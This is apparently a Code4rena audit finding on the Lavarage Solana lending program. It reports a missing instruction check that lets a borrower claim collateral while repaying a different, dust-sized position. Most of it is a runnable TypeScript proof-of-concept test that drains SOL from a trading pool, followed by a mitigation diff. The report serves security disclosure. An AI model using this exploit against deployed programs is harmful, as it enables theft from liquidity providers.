c4-bot-8 commented 4 months ago

Lines of code

https://github.com/code-423n4/2024-04-lavarage/blob/9e8295b542fb71b2ba9b4693e25619585266d19e/libs/smart-contracts/programs/lavarage/src/processor/swapback.rs#L43-L77

Vulnerability details

Impact

Users can bypass the repayment of their loans when claiming their collateral, which can be abused in order to drain any trading pool

Proof of Concept

The borrow_collateral function located inside the swapback.rs file lacks a crucial instruction validation check - a check for verifying that the random_account_as_id value passed in to the repay_sol instruction context is not the same as that passed in to the borrow_collateral instruction context. What this effectively means is that users can pass in an instruction that calls repay_sol with a position_account value that is different than the one passed in to borrow_collateral. This can be abused in order to claim the collateral for one position, while repaying the borrowed SOL for another (even if that one was already repaid), making it possible to claim back collateral while repaying practically nothing, if the repayed position is one with a dust amount borrowed.

The following coded PoC demonstrates the issue at question. To run it, paste it at the bottom of the lavarage describe block in the lavarage.spec.ts test file and then run anchor test in libs/smart-contracts. The tests inside lavarage.spec.ts are stateful, so the order in which they are executed does matter.

it('Should allow claiming collateral without repaying the loan', async () => {
    const randomAccountSeed1 = Keypair.generate();
    const randomAccountSeed2 = Keypair.generate();

    const tradingPool = getPDA(program.programId, [
      Buffer.from('trading_pool'),
      provider.publicKey.toBuffer(),
      tokenMint.toBuffer(),
    ]);
    // increase max borrow to 1 SOL so that we don't have to mint more tokens
    await program.methods
      .lpOperatorUpdateMaxBorrow(new anchor.BN(1000000000))
      .accountsStrict({
        tradingPool,
        nodeWallet: nodeWallet.publicKey,
        operator: provider.publicKey,
        systemProgram: anchor.web3.SystemProgram.programId,
      })
      .rpc();

    await program.methods
      .lpOperatorFundNodeWallet(new anchor.BN(5000000000))
      .accounts({
        nodeWallet: nodeWallet.publicKey,
        systemProgram: anchor.web3.SystemProgram.programId,
        funder: program.provider.publicKey,
      })
      .rpc();

    const traderBalanceBefore = await provider.connection.getBalance(
      provider.publicKey,
    );

    const positionAccount = getPDA(program.programId, [
      Buffer.from('position'),
      provider.publicKey?.toBuffer(),
      tradingPool.toBuffer(),
      randomAccountSeed1.publicKey.toBuffer(),
    ]);
    const positionATA = await getOrCreateAssociatedTokenAccount(
      provider.connection,
      anotherPerson,
      tokenMint,
      positionAccount,
      true,
    );

    // opening a first very small borrow position that we will use for callig `add_collateral` with for the second
    const borrowIx1 = await program.methods
      .tradingOpenBorrow(new anchor.BN(5), new anchor.BN(4))
      .accountsStrict({
        positionAccount,
        trader: provider.publicKey,
        tradingPool,
        nodeWallet: nodeWallet.publicKey,
        randomAccountAsId: randomAccountSeed1.publicKey,
        // frontend fee receiver. could be any address. opening fee 0.5%
        feeReceipient: anotherPerson.publicKey,
        systemProgram: anchor.web3.SystemProgram.programId,
        clock: anchor.web3.SYSVAR_CLOCK_PUBKEY,
        instructions: anchor.web3.SYSVAR_INSTRUCTIONS_PUBKEY,
      })
      .instruction();
    const transferIx1 = createTransferCheckedInstruction(
      userTokenAccount.address,
      tokenMint,
      positionATA.address,
      provider.publicKey,
      100000000,
      9,
    );
    const addCollateralIx1 = await program.methods
      .tradingOpenAddCollateral()
      .accountsStrict({
        positionAccount,
        tradingPool,
        systemProgram: anchor.web3.SystemProgram.programId,
        trader: provider.publicKey,
        randomAccountAsId: randomAccountSeed1.publicKey,
        mint: tokenMint,
        toTokenAccount: positionATA.address,
      })
      .instruction();
    const receiveCollateralIx1 = await program.methods
      .tradingCloseBorrowCollateral()
      .accountsStrict({
        positionAccount,
        trader: provider.publicKey,
        tradingPool,
        instructions: SYSVAR_INSTRUCTIONS_PUBKEY,
        systemProgram: anchor.web3.SystemProgram.programId,
        clock: SYSVAR_CLOCK_PUBKEY,
        randomAccountAsId: randomAccountSeed1.publicKey,
        mint: tokenMint,
        toTokenAccount: userTokenAccount.address,
        fromTokenAccount: positionATA.address,
        tokenProgram: TOKEN_PROGRAM_ID,
      })
      .instruction();
    const repaySOLIx1 = await program.methods
      .tradingCloseRepaySol(new anchor.BN(0), new anchor.BN(9997))
      .accountsStrict({
        positionAccount,
        trader: provider.publicKey,
        tradingPool,
        nodeWallet: nodeWallet.publicKey,
        systemProgram: anchor.web3.SystemProgram.programId,
        clock: SYSVAR_CLOCK_PUBKEY,
        randomAccountAsId: randomAccountSeed1.publicKey,
        feeReceipient: anotherPerson.publicKey,
      })
      .instruction();

    const tx1 = new Transaction()
      .add(borrowIx1)
      .add(transferIx1)
      .add(addCollateralIx1)
      .add(receiveCollateralIx1)
      .add(repaySOLIx1);
    await provider.sendAll([{ tx: tx1 }]);

    const positionAccount2 = getPDA(program.programId, [
      Buffer.from('position'),
      provider.publicKey?.toBuffer(),
      tradingPool.toBuffer(),
      randomAccountSeed2.publicKey.toBuffer(),
    ]);
    const positionATA2 = await getOrCreateAssociatedTokenAccount(
      provider.connection,
      anotherPerson,
      tokenMint,
      positionAccount2,
      true,
    );

    // second borrow ix that borrows an actual meaningful amount of SOL
    const actualBorrowAmount = 50000000;
    const borrowIx2 = await program.methods
      .tradingOpenBorrow(
        new anchor.BN(actualBorrowAmount + 10000000),
        new anchor.BN(10000000),
      )
      .accountsStrict({
        positionAccount: positionAccount2,
        trader: provider.publicKey,
        tradingPool,
        nodeWallet: nodeWallet.publicKey,
        randomAccountAsId: randomAccountSeed2.publicKey,
        feeReceipient: anotherPerson.publicKey,
        systemProgram: anchor.web3.SystemProgram.programId,
        clock: anchor.web3.SYSVAR_CLOCK_PUBKEY,
        instructions: anchor.web3.SYSVAR_INSTRUCTIONS_PUBKEY,
      })
      .instruction();
    const transferIx2 = createTransferCheckedInstruction(
      userTokenAccount.address,
      tokenMint,
      positionATA2.address,
      provider.publicKey,
      10000000000,
      9,
    );
    const addCollateralIx2 = await program.methods
      .tradingOpenAddCollateral()
      .accountsStrict({
        positionAccount: positionAccount2,
        tradingPool,
        systemProgram: anchor.web3.SystemProgram.programId,
        trader: provider.publicKey,
        randomAccountAsId: randomAccountSeed2.publicKey,
        mint: tokenMint,
        toTokenAccount: positionATA2.address,
      })
      .instruction();
    const receiveCollateralIx2 = await program.methods
      .tradingCloseBorrowCollateral()
      .accountsStrict({
        positionAccount: positionAccount2,
        trader: provider.publicKey,
        tradingPool,
        instructions: SYSVAR_INSTRUCTIONS_PUBKEY,
        systemProgram: anchor.web3.SystemProgram.programId,
        clock: SYSVAR_CLOCK_PUBKEY,
        randomAccountAsId: randomAccountSeed2.publicKey,
        mint: tokenMint,
        toTokenAccount: userTokenAccount.address,
        fromTokenAccount: positionATA2.address,
        tokenProgram: TOKEN_PROGRAM_ID,
      })
      .instruction();
    const tx2 = new Transaction()
      .add(borrowIx2)
      .add(transferIx2)
      .add(addCollateralIx2)
      .add(receiveCollateralIx2)
      .add(repaySOLIx1); // reuseing the first repay ix, which effectively means that we are going to repay
    // for the first possition a second time instead of the current one being closed
    await provider.sendAll([{ tx: tx2 }]);

    const traderBalanceAfter = await provider.connection.getBalance(
      provider.publicKey,
    );
    const traderBalanceGains = traderBalanceAfter - traderBalanceBefore;

    console.log('traderBalanceBefore: ', traderBalanceBefore);
    console.log('traderBalanceAfter: ', traderBalanceAfter);
    console.log('traderBalanceGains: ', traderBalanceGains);

    expect(traderBalanceGains).toBeGreaterThan(actualBorrowAmount * 0.9); // approximate the gains due to fee deductions
});

Tools Used

Manual review

Recommended Mitigation Steps

Replace the current verrification checks with a single one for the position_account value:

    if ix_discriminator == crate::instruction::TradingCloseRepaySol::DISCRIMINATOR {
-                   require_keys_eq!(
-                       ix.accounts[2].pubkey,
-                       ctx.accounts.trading_pool.key(),
-                       FlashFillError::IncorrectProgramAuthority
-                   );
-                   require_keys_eq!(
-                       ix.accounts[1].pubkey,
-                       ctx.accounts.trader.key(),
-                       FlashFillError::IncorrectProgramAuthority
-                   );
-                   require_keys_eq!(
-                       ctx.accounts.position_account.trader.key(),
-                       ctx.accounts.trader.key(),
-                       FlashFillError::IncorrectProgramAuthority
-                   );
-                   require_keys_eq!(
-                       ctx.accounts.position_account.pool.key(),
-                       ctx.accounts.trading_pool.key(),
-                       FlashFillError::IncorrectProgramAuthority
-                   );
+                   require_keys_eq!(
+                       ix.accounts[0].pubkey,
+                       ctx.accounts.position_account.key(),
+                       FlashFillError::IncorrectProgramAuthority
+                   );
                    ...
    }